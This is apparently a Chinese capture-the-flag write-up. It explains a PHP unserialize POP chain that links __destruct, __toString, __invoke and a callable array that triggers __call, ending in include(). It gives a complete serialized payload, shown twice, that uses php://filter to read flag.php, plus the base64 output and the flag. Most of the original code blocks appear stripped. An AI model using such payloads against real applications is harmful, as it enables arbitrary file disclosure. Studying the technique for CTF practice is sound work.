PHP反序列化POP链 — 利用 [$obj, method] callable 触发 __call
题目源码
1 |
|
入口点:unserialize($_POST['data'])
魔术方法分析
| 魔术方法 | 所在类 | 触发条件 |
|---|---|---|
__destruct() |
User | 对象被销毁时 |
__toString() |
Profile | 对象被当作字符串时(echo) |
__invoke() |
Invoker | 对象被当作函数调用时 |
__call() |
DynamicCall | 调用对象上不存在的方法时 |
POP链构造思路
Step 1: 起点 — __destruct
1 | class User { |
unserialize() 结束后,$user 对象被销毁,触发 __destruct()。其中 echo $this->profile 把 profile 属性当字符串输出,如果 profile 是一个 Profile 对象,则触发它的 __toString()。
Step 2: __toString → 调用 helper->run()
1 | class Profile { |
Profile::__toString() 调用 $this->helper->run($this->name),这里 helper 是一个 Helper 对象,name 是要读取的文件路径。
Step 3: Helper::run → 回调函数调用 → __invoke
1 | class Helper { |
Helper::run() 取出 $this->callback 赋值给 $fn,然后 $fn($data) 把 $fn 当作函数调用。如果 $fn 是一个 Invoker 对象,则触发 Invoker::__invoke($data)。
这里传入的 $data 就是文件路径字符串。
Step 4: __invoke → 调用 target->execute()
1 | class Invoker { |
Invoker::__invoke($cmd) 调用 $this->target->execute($cmd),target 是一个 Executor 对象。
Step 5: Executor::execute → 调用 handler->process()
1 | class Executor { |
Executor::execute($cmd) 调用 $this->handler->process($cmd),handler 是一个 Processor 对象。
Step 6: Processor::process → callable 数组 → __call
1 | class Processor { |
关键点来了: $this->func 被设为 [$d, 'p'],这是一个 PHP callable 数组。$f($cmd) 等价于调用 $d->p($cmd)。
由于 DynamicCall 类没有 p() 这个方法,PHP 会触发 __call('p', [$cmd])。
Step 7: __call → 调用 obj->read() → 文件包含
1 | class DynamicCall { |
__call($name, $args) 中:
$name='p'(调用的方法名,这里不重要)$args[0]= 文件路径字符串(从Profile::$name一路传过来的)
$this->obj 是 FileReader 对象,所以调用 FileReader::read($args[0]) → include($file),完成文件包含。
完整的POP链
1 | User::__destruct() |
关键技巧:PHP Callable 数组触发 __call
PHP 中,[$object, 'methodName'] 是一个合法的 callable 类型。当你执行:
1 | $obj = new DynamicCall(); |
PHP 会尝试调用 $obj->hello('world'),如果 hello() 方法不存在,就会触发:
1 | public function __call($name, $args) { |
这个特性是这条 POP 链能够将 Processor 连接到 DynamicCall 的关键。Processor::process() 中的 $f($cmd) 可以是任何 callable,包括 [$obj, 'method'] 这种形式。
构造 Payload
1 | $d = new DynamicCall(); |
输出序列化数据:
1 | O:4:"User":1:{s:7:"profile";O:7:"Profile":2:{s:4:"name";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:6:"helper";O:6:"Helper":1:{s:8:"callback";O:7:"Invoker":1:{s:6:"target";O:8:"Executor":1:{s:7:"handler";O:9:"Processor":1:{s:4:"func";a:2:{i:0;O:11:"DynamicCall":1:{s:3:"obj";O:10:"FileReader":0:{}}i:1;s:1:"p";}}}}}}} |
发post请求:
1 | data=O:4:"User":1:{s:7:"profile";O:7:"Profile":2:{s:4:"name";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:6:"helper";O:6:"Helper":1:{s:8:"callback";O:7:"Invoker":1:{s:6:"target";O:8:"Executor":1:{s:7:"handler";O:9:"Processor":1:{s:4:"func";a:2:{i:0;O:11:"DynamicCall":1:{s:3:"obj";O:10:"FileReader":0:{}}i:1;s:1:"p";}}}}}}} |
获取 Flag
返回文件文本的base64编码:
PD9waHAKZWNobyAi5L2g5Zyo5bmy5LuA5LmIIjsKJGZsYWc9ImZsYWd7dHFsdHFsdHFsfSI7Cg==
Base64 解码得到 flag.php 源码:
1 |
|
Flag: flag{tqltqltql}
总结
这道题考察了以下知识点:
- 反序列化POP链 — 串联多个魔术方法构造利用链
[$obj, 'method']Callable 用法 — PHP 中数组形式的 callable 可以路由到__call(),这是连接Processor→DynamicCall的关键__call()魔术方法 — 当调用不存在的方法时触发,接收方法名和参数数组__invoke()魔术方法 — 当对象被当作函数调用时触发- PHP伪协议 —
php://filter/convert.base64-encode/resource=读取 PHP 文件源码(避免 PHP 代码被执行导致看不到输出) include()文件包含 — 利用 PHP 流包装器实现任意文件读取
